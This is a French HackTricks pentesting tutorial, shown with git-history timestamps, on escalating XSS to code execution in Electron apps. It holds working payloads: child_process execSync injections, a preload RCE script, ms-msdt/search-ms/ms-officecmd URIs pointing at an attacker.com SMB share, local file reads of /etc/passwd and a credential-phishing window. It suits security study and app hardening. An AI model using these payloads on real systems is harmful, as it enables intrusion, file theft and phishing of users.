hacktricks/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md

316 lines
19 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
## XSS vers RCE dans les applications de bureau Electron
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2022-08-15 19:31:10 +00:00
## Introduction
2022-06-21 15:35:40 +00:00
2023-06-03 13:10:46 +00:00
Electron est **basé sur Chromium**, mais ce n'est pas un navigateur. Certains principes et mécanismes de sécurité implémentés par les navigateurs modernes ne sont pas en place.\
Vous pouvez voir Electron comme une application locale backend+frontend où **NodeJS** est le **backend** et **chromium** est le **frontend**.
2022-07-11 18:58:47 +00:00
2023-06-03 13:10:46 +00:00
Généralement, vous pouvez trouver le code de l'application electron à l'intérieur d'une application `.asar`, afin d'obtenir le code, vous devez l'extraire :
2022-07-11 18:58:47 +00:00
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
2023-06-03 13:10:46 +00:00
Dans le code source d'une application Electron, à l'intérieur de `packet.json`, vous pouvez trouver spécifié le fichier `main.js` où les configurations de sécurité sont définies.
2022-04-28 13:04:05 +00:00
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
2023-06-03 13:10:46 +00:00
Electron a 2 types de processus :
2022-04-28 13:04:05 +00:00
2023-06-03 13:10:46 +00:00
* Processus principal (a un accès complet à NodeJS)
* Processus de rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)
2022-04-28 01:02:01 +00:00
2022-07-21 20:01:55 +00:00
![](<../../../.gitbook/assets/image (307) (5) (1).png>)
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Un **processus de rendu** sera une fenêtre de navigateur chargeant un fichier :
2022-04-20 12:35:33 +00:00
```javascript
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```
2023-06-03 13:10:46 +00:00
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines des configurations permettront d'**empêcher l'application Electron d'obtenir une RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
L'application de bureau peut avoir accès à l'appareil de l'utilisateur via les API Node. Les deux configurations suivantes sont responsables de fournir des mécanismes pour **empêcher le JavaScript de l'application d'avoir un accès direct à l'appareil de l'utilisateur** et aux commandes de niveau système.
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
* **`nodeIntegration`** - est désactivé par défaut. S'il est activé, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
* **`contextIsolation`** - est activé par défaut. S'il est activé, les processus principal et de rendu ne sont pas isolés.
* **`preload`** - vide par défaut.
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Il restreindra les actions que NodeJS peut effectuer.
* Intégration de Node dans les Workers
* **`nodeIntegrationInSubframes`** - est désactivé par défaut.
* Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **API Node.js** dans les pages Web qui sont **chargées dans des iframes** dans une application Electron.
* Si **`nodeIntegration`** est **désactivé**, alors les pré-chargements se chargeront dans l'iframe.
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Exemple de configuration:
2022-04-20 12:35:33 +00:00
```javascript
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
2022-12-03 18:45:54 +00:00
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
2022-04-20 12:35:33 +00:00
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
```
2023-06-03 13:10:46 +00:00
Voici quelques **charges utiles RCE** provenant de [ici](https://7as.es/electron/nodeIntegration\_rce.txt):
2022-04-28 13:04:05 +00:00
```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
```
2023-06-03 13:10:46 +00:00
### Capture de trafic
2022-04-28 13:04:05 +00:00
2023-06-03 13:10:46 +00:00
Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que :
2022-06-21 15:35:40 +00:00
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
2022-05-01 16:57:45 +00:00
## RCE: XSS + nodeIntegration
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Si le **nodeIntegration** est activé, le JavaScript d'une page web peut facilement utiliser les fonctionnalités de Node.js en appelant simplement `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est:
2022-04-20 12:35:33 +00:00
```html
<script>
require('child_process').exec('calc');
2022-11-09 10:16:50 +00:00
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
2022-04-20 12:35:33 +00:00
</script>
```
2023-03-04 19:33:37 +00:00
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>
2022-12-03 18:45:54 +00:00
2022-05-01 16:57:45 +00:00
## RCE: preload
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Le script indiqué dans ce paramètre est chargé avant les autres scripts dans le rendu, il a donc un accès illimité aux API Node :
2022-04-20 12:35:33 +00:00
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
2023-06-03 13:10:46 +00:00
Par conséquent, le script peut exporter les fonctionnalités de noeud vers les pages :
2022-04-20 12:35:33 +00:00
{% code title="preload.js" %}
```javascript
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
```
{% endcode %}
{% code title="index.html" %}
```html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
```
{% endcode %}
{% hint style="info" %}
2023-06-03 13:10:46 +00:00
**Si `contextIsolation` est activé, cela ne fonctionnera pas**
2022-04-20 12:35:33 +00:00
{% endhint %}
2022-05-01 16:57:45 +00:00
## RCE: XSS + contextIsolation
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** de sorte que l'exécution JavaScript de chaque code n'affecte pas l'autre. Il s'agit d'une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Si les contextes ne sont pas isolés, un attaquant peut :
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
1. Exécuter du **JavaScript arbitraire dans le rendu** (XSS ou navigation vers des sites externes)
2. **Remplacer la méthode intégrée** qui est utilisée dans le code de préchargement ou le code interne d'Electron par sa propre fonction
3. **Déclencher** l'utilisation de la **fonction remplacée**
4. RCE ?
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Il y a 2 endroits où les méthodes intégrées peuvent être remplacées : dans le code de préchargement ou dans le code interne d'Electron :
2022-04-20 12:35:33 +00:00
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
{% endcontent-ref %}
2022-04-28 01:02:01 +00:00
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
{% endcontent-ref %}
2022-04-20 12:35:33 +00:00
2022-04-28 13:04:05 +00:00
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
### Contourner l'événement de clic
2022-04-28 13:04:05 +00:00
2023-06-03 13:10:46 +00:00
Si des restrictions sont appliquées lorsque vous cliquez sur un lien, vous pourriez être en mesure de les contourner en **faisant un clic du milieu** au lieu d'un clic gauche régulier.
2022-04-28 13:04:05 +00:00
```javascript
window.addEventListener('click', (e) => {
```
2022-05-12 09:25:17 +00:00
## RCE via shell.openExternal
2023-06-03 13:10:46 +00:00
Si l'application de bureau Electron est déployée avec les paramètres `nodeIntegration` et `contextIsolation` appropriés, cela signifie simplement que **l'exécution de code à distance côté client en ciblant les scripts de préchargement ou le code natif d'Electron à partir du processus principal ne peut pas être réalisée**.
2022-05-12 09:25:17 +00:00
2023-06-03 13:10:46 +00:00
Chaque fois qu'un utilisateur clique sur le lien ou ouvre une nouvelle fenêtre, les écouteurs d'événements suivants sont invoqués :
2022-05-12 09:25:17 +00:00
2023-03-15 09:38:23 +00:00
{% code overflow="wrap" %}
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
2022-05-12 09:25:17 +00:00
```
2023-03-15 09:38:23 +00:00
{% endcode %}
2022-05-12 09:25:17 +00:00
2023-06-03 13:10:46 +00:00
L'application de bureau **remplace ces écouteurs** pour implémenter sa propre **logique métier**. Lors de la création de nouvelles fenêtres, l'application vérifie si le lien navigué doit être ouvert dans une fenêtre ou un onglet de l'application de bureau, ou s'il doit être ouvert dans le navigateur web. Dans notre exemple, la vérification est implémentée avec la fonction `openInternally`, si elle renvoie `false`, l'application supposera que le lien doit être ouvert dans le navigateur web en utilisant la fonction `shell.openExternal`.
2022-05-12 09:25:17 +00:00
2023-06-03 13:10:46 +00:00
**Voici un pseudocode simplifié :**
2022-05-12 09:25:17 +00:00
2022-07-11 08:44:04 +00:00
![](<../../../.gitbook/assets/image (638) (2) (1) (1).png>)
2022-05-12 09:25:17 +00:00
![](<../../../.gitbook/assets/image (620).png>)
2023-06-03 13:10:46 +00:00
Selon les meilleures pratiques de sécurité d'Electron JS, la fonction `openExternal` **ne doit pas accepter de contenu non fiable** **car cela pourrait conduire à une RCE en abusant de différents protocoles** si l'application ne limite pas la navigation des utilisateurs à travers des protocoles tels que https:// ou http://.
2022-05-12 09:25:17 +00:00
2023-06-03 13:10:46 +00:00
Différents systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE, pour plus d'informations à leur sujet, consultez [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042) mais voici quelques exemples pour Windows :
2022-05-12 09:25:17 +00:00
```html
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
```
2023-06-03 13:10:46 +00:00
Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
2022-05-12 09:25:17 +00:00
2023-06-03 13:10:46 +00:00
## Lire des fichiers internes: XSS + contextIsolation
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Si `contextIsolation` est défini sur false, vous pouvez essayer d'utiliser \<webview> (similaire à \<iframe> mais peut charger des fichiers locaux) pour lire des fichiers locaux et les exfiltrer: en utilisant quelque chose comme **\<webview src=”file:///etc/passwd”>\</webview>:**
2022-04-20 12:35:33 +00:00
![](../../../.gitbook/assets/1-u1jdryuwaevwjmf\_f2ttjg.png)
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Une autre façon de **lire un fichier interne** est expliquée dans ce [**writeup**](https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app).
2022-09-05 09:01:26 +00:00
```html
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
```
2023-06-03 13:10:46 +00:00
## **RCE: XSS + Ancienne version de Chromium**
2022-09-05 09:01:26 +00:00
2023-06-03 13:10:46 +00:00
Si l'application utilise une version **ancienne** de **Chromium** et qu'il existe des **vulnérabilités connues** sur celle-ci, il est possible de **l'exploiter et d'obtenir une RCE via une XSS**.\
Vous pouvez voir un exemple dans ce **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
2022-08-15 19:31:10 +00:00
2023-06-03 13:10:46 +00:00
## **XSS Phishing via Bypass regex URL interne**
2022-08-15 19:31:10 +00:00
2023-06-03 13:10:46 +00:00
Supposons que vous avez trouvé une XSS mais que vous **ne pouvez pas déclencher de RCE ou voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des informations d'identification via le phishing**.
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS dans le front-end:
2022-04-20 12:35:33 +00:00
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
2023-06-03 13:10:46 +00:00
L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre du bureau** car il s'agit d'un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**.
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **ne faisant pas d'échappement des points des sous-domaines**), un attaquant pourrait exploiter la XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des informations d'identification** à l'utilisateur :
2022-04-20 12:35:33 +00:00
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
2023-06-03 13:10:46 +00:00
## **Outils**
2022-04-20 12:35:33 +00:00
2023-06-03 13:10:46 +00:00
* [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil pour identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables.
* [**Electro.ng**](https://electro.ng/): Vous devez l'acheter.
2022-04-28 01:02:01 +00:00
2022-05-01 16:57:45 +00:00
## Labs
2022-04-28 13:04:05 +00:00
2023-06-03 13:10:46 +00:00
Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s), vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.
2022-04-28 13:04:05 +00:00
2023-06-03 13:10:46 +00:00
Voici quelques commandes qui vous aideront dans le laboratoire:
2022-04-28 13:04:05 +00:00
```bash
# Download apps from these URls
2022-05-01 12:49:36 +00:00
# Vuln to nodeIntegration
2022-04-28 13:04:05 +00:00
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
2022-05-01 12:49:36 +00:00
# Vuln to contextIsolation via preload script
2022-04-28 13:04:05 +00:00
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
2022-05-01 12:49:36 +00:00
# Vuln to IPC Rce
2022-04-28 13:04:05 +00:00
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
2023-06-03 13:10:46 +00:00
## **Références**
2022-04-20 12:35:33 +00:00
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
2022-04-28 13:04:05 +00:00
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
2023-06-03 13:10:46 +00:00
* Plus de recherches et d'articles sur la sécurité d'Electron dans [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
2022-12-03 18:45:54 +00:00
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>